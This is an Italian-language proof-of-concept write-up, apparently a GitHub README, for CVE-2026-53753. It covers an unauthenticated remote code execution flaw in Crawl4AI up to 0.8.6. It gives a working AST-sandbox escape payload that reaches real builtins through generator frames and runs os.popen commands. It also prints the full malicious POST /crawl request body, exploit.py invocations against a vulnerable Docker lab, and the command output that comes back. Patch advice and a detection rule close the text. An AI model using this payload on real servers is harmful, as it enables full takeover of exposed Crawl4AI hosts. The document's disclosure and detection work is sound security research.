CVE-2026-53753 — Crawl4AI <0.8.7 RCE non autenticata (evasione sandbox AST tramite gi_frame.f_back). Lab + PoC, verificato end-to-end.
RCE pre-autenticazione in Crawl4AI
< 0.8.7. Uno schemaJsonCssExtractionStrategyappositamente creato inviato all'endpoint non autenticatoPOST /crawlraggiunge il valutatore di campi calcolati (_safe_eval_expression), evade la sua lista di permessi AST tramite oggetti frame di Python, raggiunge ibuiltinsreali ed esegue__import__('os').popen(<cmd>).read()— restituendo l'output del comando in-band nella risposta JSON.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Affetto | Crawl4AI <= 0.8.6 |
| Corretto | 0.8.7 |
| Classe | CWE-94 (Code Injection) / Python sandbox escape |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna — la configurazione fornita ha jwt_enabled: false |
| Stato | CONFERMATO — riprodotto end-to-end sull'immagine ufficiale unclecode/crawl4ai:0.8.6 |
Approfondimento: consulta
ANALYSIS.mdper una walkthrough nodo-per-nodo dell'AST, la pila dei frame a runtime, il flusso dei dati della richiesta e il diff della patch.
crawl4ai/extraction_strategy.py consente a uno schema di estrazione di definire campi calcolati — piccole espressioni Python valutate per ogni elemento estratto. Vengono eseguite da _safe_eval_expression(), che tenta di isolare l'espressione con una lista di permessi AST e un __builtins__ ridotto:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Il validatore è negazione-per-prefisso: rifiuta solo i nomi che iniziano con _ (oltre a import). Questa singola euristica è l'intero sandbox — e ha tre buchi che si combinano in una fuga completa:
| # | Buco | Perché è importante |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins non iniziano con _ | L'intera superficie di introspezione dei frame/generatori di Python è raggiungibile. |
| 2 | obj['__import__'] è un ast.Subscript, non un ast.Attribute | Il validatore non ispeziona mai le chiavi dei dict-subscript, quindi la chiave dunder __import__ passa. |
| 3 | La catena f_back di un generatore in esecuzione porta a un frame esterno il cui f_builtins è il vero builtins | Esce dai _SAFE_EVAL_BUILTINS ridotti e torna a quelli completi (__import__, ecc.). |
Lo schema raggiunge questa funzione senza autenticazione: l'API Docker fornisce security.jwt_enabled: false, quindi la dipendenza del token /crawl è lambda: None.
L'espressione del campo calcolato è:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Leggendola pezzo per pezzo:
| Frammento | Ruolo | Perché il validatore lo permette |
|---|---|---|
(lambda: ... )() | Crea uno scope di funzione in modo che il nome legato con walrus viva in una cella di chiusura. | ast.Lambda non viene verificato. |
g := ( <expr> for i in [1]) | Lega il generatore a g e il corpo del generatore fa riferimento a g (se stesso). | := e le espressioni generatore non vengono verificati. (Walrus è illegale in un iterabile di comprensione, quindi è posto in un elemento di tupla.) |
list(g) | Guida il generatore — quindi il suo frame è vivo quando il corpo viene eseguito. | list è nei builtins sicuri. |
g.gi_frame | L'oggetto frame del generatore. | gi_frame non inizia con _. |
.f_back.f_back.f_back | Risale tre frame fino a uno con i builtins reali. | f_back non inizia con _. |
.f_builtins | Il mapping builtins di quel frame (quello reale). | f_builtins non inizia con _. |
['__import__'] | Recupera __import__ dal dict builtins. | Subscript di dict — mai ispezionato. |
('os') | __import__('os') → il modulo os. | Il target della chiamata è un Subscript, non un Name/Attribute. |
.popen('id').read() | Esegue il comando e restituisce il suo stdout. | popen/read non iniziano con _. |
Poiché il valore del generatore è os.popen(cmd).read(), lo stdout del comando diventa il valore del campo e viene riflesso nella risposta /crawl — un oracolo in-band, nessun bisogno di OAST.
Mentre list(g) itera il generatore, lo stack delle chiamate appare così:
frame: _safe_eval_expression() <-- real builtins (__import__ lives here) ← f_back ×3
└ frame: <expression> (eval) <-- sandboxed builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- sandboxed ← f_back ×1
└ frame: <genexpr> g <-- RUNNING; g.gi_frame is this frame ← gi_frame
g.gi_frame.f_back è popolato solo mentre il generatore è in esecuzione (ecco perché il generatore deve fare riferimento a se stesso e essere guidato da list(g) — un generatore non ancora avviato ha f_back is None). Risalendo f_back tre volte si arriva al frame di _safe_eval_expression, il cui f_builtins è il modulo builtins completo — da cui __import__ viene estratto tramite subscript.
La profondità del frame è stabile per questo percorso di codice:
f_back × 3è corretto per_safe_eval_expressiondi Crawl4AI 0.8.6.
L'immagine ufficiale fornisce l'impostazione predefinita vulnerabile (nessuna autenticazione):
# Opzione A — docker compose (host Docker normale con bridge networking)
docker compose -f lab/docker-compose.yml up -d
# Opzione B — docker run semplice
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Attendi circa 20 s per il riscaldamento del pool di browser (docker logs crawl4ai-vuln → Application startup complete).
# Ispeziona il corpo della richiesta senza inviarlo:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Esegui (lo stdout del comando torna nella risposta):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py usa solo la libreria standard di Python — nessuna dipendenza.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
Il campo out contiene stato live del sistema operativo (output di id, uname, os-release del contenitore), non un eco della richiesta — uid=999(appuser) è l'account di servizio del contenitore, a prova di esecuzione di codice all'interno dell'host Crawl4AI. Un echo <marker> univoco è riflesso letteralmente, confermando che il comando è stato effettivamente eseguito.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… rende la richiesta autonoma — nessun fetch in uscita necessario; l'attaccante fornisce l'HTML inline.baseSelector: "div" deve semplicemente corrispondere a un elemento affinché un campo calcolato venga valutato. Contro un vero target di crawling, usa qualsiasi selettore che corrisponda alla pagina.| Sintomo | Causa / soluzione |
|---|---|
Connection refused su :11235 | Il contenitore si sta ancora riscaldando, oppure il tuo Docker daemon non ha una rete bridge utilizzabile. Attendi Application startup complete; se il mapping delle porte non si lega, esegui il contenitore con --network host. |
out è null | Il selettore di base non ha corrisposto alcun elemento — assicurati che l'HTML raw:// contenga un <div> (o modifica baseSelector). |
| Funziona su 0.8.6 ma non su 0.8.7 | Previsto — 0.8.7 rimuove _safe_eval_expression e disabilita completamente la chiave expression (la correzione). |
Qualsiasi client raggiungibile in rete esegue comandi OS arbitrari sull'host Crawl4AI senza autenticazione nella distribuzione predefinita — compromissione totale del server e pivot verso qualsiasi risorsa interna a cui può accedere.
_safe_eval_expression; la chiave expression del campo calcolato è disabilitata — usa invece la chiave function con un callable Python verificato).jwt_enabled: true + api_token) e non esporre mai l'API Crawl4AI a reti non fidate.Segnala i corpi di POST /crawl (e /crawl/stream) contenenti gi_frame, f_back, f_builtins o qualsiasi campo computed che trasporti una chiave expression.